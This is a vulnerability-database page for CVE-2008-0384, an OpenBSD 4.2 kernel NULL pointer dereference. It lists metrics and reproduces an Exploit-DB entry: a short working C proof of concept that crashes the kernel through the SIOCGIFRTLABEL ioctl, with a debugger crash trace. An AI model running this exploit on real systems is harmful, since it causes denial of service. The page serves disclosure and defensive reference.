CVE-2008-0384 Detail

CVE-2008-0384

EPSS

0.04%V3

Vector

Local

Published

2008-01-22
18h00 +00:00

Modified

2017-09-28
10h57 +00:00

Official links

CVE.org

NVD

Notifications for a CVE

Stay informed of any changes for a specific CVE.

Notifications manage

List of Notifications

Notifications for a CVE

Stay informed of any changes for a specific CVE.

Criteria applied when sending the alert: compared with the last alert sent + differences in CISA, EPSS, CVSS, CWE, Solutions, CPE.

Parameters

You can specify a title that will be retrieved in the alerts that will be sent out.

Specified here a CVE ID as CVE-2025-1234

Planning

Month

Next run calculation

Day

Weekday

Hour

Minute

Creation date

Last execution

Next execution

Functionality requiring a connection

This feature, which allows you to receive alerts, is only active when you are logged into your account.

CVE Descriptions

OpenBSD 4.2 allows local users to cause a denial of service (kernel panic) by calling the SIOCGIFRTLABEL IOCTL on an interface that does not have a route label, which triggers a NULL pointer dereference when the return value from the rtlabel_id2name function is not checked.

CVE Informations

Metrics

Metrics	Score	Severity	CVSS Vector	Source
V2	4.9		AV:L/AC:L/Au:N/C:N/I:N/A:C	nvd@nist.gov

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

EPSS First.org

Exploit information

Exploit Database EDB-ID : 4935

Publication date : 2008-01-17 23h00 +00:00
Author : Hunger
EDB Verified : Yes

/* * OpenBSD 4.2 rtlabel_id2name() [SIOCGIFRTLABEL ioctl] * Null Pointer Dereference local Denial of Service Exploit * * by Hunger <rtlabdos@hunger.hu> * * Advisory: * http://marc.info/?l=openbsd-security-announce&m=120007327504064 * * FOR TESTING PURPOSES ONLY! * * $ uname -mrsv * OpenBSD 4.2 GENERIC#375 i386 * $ id * uid=1000(hunger) gid=1000(hunger) groups=1000(hunger) * $ ftp -V http://hunger.hu/rtlabdos.c * 100% |******************************************| 1814 00:00 * $ gcc rtlabdos.c -o rtlabdos * $ ./rtlabdos * uvm_fault(0xd617865e0, 0x0, 0, 1) -> e * kernel: page fault trap, code=0 * Stopped at strlcpy+0x1c: movb 0(%edx),%al * ddb> trace * strlcpy(d826fd98,0,20,6,d61772a0) at strlcpy+0x1c * ifioctl(d6033280,c0206983,d826fe78,d616696c,d61772a0) at ifioctl+0xa0d * sys_ioctl(d616696c,d826ff68,d826ff58,1c000680,73) at sys_ioctl+0x125 * syscall() at syscall+0x24a * --- syscall (number 54) --- * 0xf557d1: * ddb> show registers * ds 0x10 * es 0x10 * fs 0x58 * gs 0x10 * edi 0 * esi 0x20 * ebp 0xd826fd60 end+0x7a33a90 * ebx 0xd826fd98 end+0x7a33ac8 * edx 0 * ecx 0x1f * eax 0 * eip 0xd064acb0 strlcpy+0x1c * cs 0x8 * eflags 0x10212 * esp 0xd826fd54 end+0x7a33a84 * ss 0xd8260010 end+0x7a23d40 * strlcpy+0x1c: movb 0(%edx),%al * */ #include <sys/param.h> #include <sys/socket.h> #include <sys/ioctl.h> #include <net/if.h> int main(void) { struct ifreq ifr = { .ifr_name = "lo0" }; return ioctl(socket(AF_INET, SOCK_DGRAM, 0), SIOCGIFRTLABEL, &ifr); } // milw0rm.com [2008-01-18]